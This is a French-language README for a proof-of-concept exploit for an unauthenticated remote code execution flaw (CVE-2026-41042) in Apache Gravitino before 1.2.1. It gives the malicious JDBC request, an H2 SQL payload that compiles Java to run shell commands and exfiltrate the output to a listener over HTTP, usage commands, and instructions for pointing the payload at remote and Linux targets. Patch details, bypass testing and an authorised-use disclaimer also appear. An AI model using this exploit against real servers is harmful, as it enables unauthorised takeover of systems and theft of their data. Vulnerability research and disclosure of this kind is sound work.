
Exploite une RCE non authentifiée dans Apache Gravitino < 1.2.1 via H2 JDBC INIT ; héberge des payloads SQL/Java, exécute des commandes et exfiltre la sortie via un beacon HTTP.
Preuve de concept autonome, utilisant uniquement la bibliothèque standard, pour CVE-2026-41042 : exécution de code à distance non authentifiée dans Apache Gravitino avant 1.2.1 via le paramètre de connexion INIT de JDBC H2. Pas d'en-têtes d'authentification, pas de pilotes supplémentaires, pas d'installation pip.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
Le script héberge la charge utile SQL et une balise de sortie, envoie la requête testConnection et affiche directement la sortie standard de la commande.
CVE attribuée le 8 juillet 2026, créditée à Junjie Li (Université de Xidian). Il s'agit du premier PoC public fonctionnel pour ce problème. PoC par Akinlabi.
| Vulnérable | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Corrigée | 1.2.1 |
| Avis | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 est fourni dans libs/ de Gravitino comme backend de stockage d'entités par défaut, donc le pilote H2 est déjà dans le classpath du serveur. Aucun pilote supplémentaire n'a besoin d'être déployé pour que l'exploit fonctionne.
POST /api/metalakes/{metalake}/catalogs/testConnection (ressource Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produit application/vnd.gravitino.v1+json) accepte une CatalogCreateRequest. La valeur properties.jdbc-url est transmise à la fabrique de connexions du fournisseur de catalogue sans aucune validation du pilote JDBC.
L'utilisation du pilote H2 fourni (org.h2.Driver) combinée au paramètre de connexion INIT de H2 exécute du SQL arbitraire au moment de la connexion, et CREATE ALIAS compile et exécute du Java arbitraire sur le serveur. Le point de terminaison ne requiert aucune authentification.
Prérequis : Python 3, bibliothèque standard uniquement.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| Option | Défaut | Description |
|---|---|---|
target | (requis) | Serveur Gravitino, p. ex. http://127.0.0.1:8090 |
--metalake | test_ml | Metalake sous lequel le catalogue sera testé |
--cmd | whoami | Commande à exécuter sur la cible |
--port | 9000 | Port local pour le serveur HTTP de la charge utile et de la balise |
Exemples :
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
Si le metalake n'existe pas, créez-en un d'abord (également sans authentification) :
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 avec deux routes : /poc.sql sert la charge utile générée, /beacon?out=... capture la sortie de la commande.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC exécute la commande et renvoie sa sortie standard sous forme de chaîne ; BEACON l'exfiltre vers l'écouteur via HTTP ; le script interroge la balise pendant 5 secondes maximum et affiche la sortie.
jdbc-mysql (checkJDBCDriverVersion) se déclenche après l'initialisation de la connexion, donc l'erreur est cosmétique : le INIT a déjà été exécuté. Le chemin d'erreur est le chemin d'exécution.Un nom de base de données en mémoire aléatoire est généré à chaque exécution (secrets.token_hex(6)), donc les alias H2 ne persistent jamais entre les exécutions et chaque exécution est déterministe.
La même jdbc-url malveillante fonctionne également via POST /api/metalakes/{ml}/catalogs, qui renvoie une réponse HTTP 200 et persiste l'URL H2 INIT dans la configuration du catalogue. Toute opération ultérieure forçant une connexion déclenche l'exécution au moment de l'initialisation :
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Les deux points d'entrée passent par le même chemin initialize() -> DataSourceUtils.createDataSource, donc le correctif 1.2.1 couvre les deux.
DataSourceUtils.createDataSource bloque désormais les URL et pilotes H2 (commits 84d3de9c7c / 5daabcd0e, vérifié dans l'arborescence 1.3.0) :
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode exécute URLDecoder jusqu'à 5 fois, donc l'encodage en pourcentage du préfixe ne permet pas de contourner la vérification. JdbcUrlUtils.validateJdbcConfig (également appelé depuis createDBCPDataSource) bloque en outre les paramètres MySQL/MariaDB/PostgreSQL connus comme dangereux (autoDeserialize, allowLoadLocalInfile, socketFactory, etc.).
Des tentatives de contournement ont été testées contre une réplique de la vérification avec le vrai H2 1.4.200 : espaces en début et fin de chaîne, encodage en pourcentage 6x+, astuces de casse et de tabulation, astuces de suffixe et fournisseurs non-JDBC. Aucun contournement propre n'a été trouvé ; le vecteur H2 semble solidement corrigé dans 1.2.1.
Apache classe ce problème comme de faible sévérité, indiquant que H2 est réservé au développement/test et que Gravitino est généralement déployé en interne. L'installation par défaut contredit cela :
testConnection et createCatalog ne sont pas authentifiés lorsque gravitino.authorization.enable=false, ce qui est la valeur par défaut0.0.0.0:8090Estimation réaliste CVSS v3.1 : ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), sous réserve de l'accessibilité du port Gravitino.
127.0.0.1. Cela correspond à un laboratoire où l'attaquant et la cible partagent la même machine. Pour une cible distante, remplacez les références à 127.0.0.1 dans make_payload() et exploit() par l'IP de votre écouteur.cmd.exe /c (laboratoire Windows). Sur des cibles Linux, remplacez la ligne new String[]{"cmd.exe", "/c", cmd} par /bin/sh -c.createCatalog n'est pas automatisé dans ce script ; utilisez la requête manuelle ci-dessus.Réservé aux tests de sécurité et à la recherche autorisés uniquement. Toutes les techniques présentées ici ont été développées et vérifiées dans un laboratoire local. Utiliser ce script contre un système que vous ne possédez pas peut être illégal dans votre juridiction.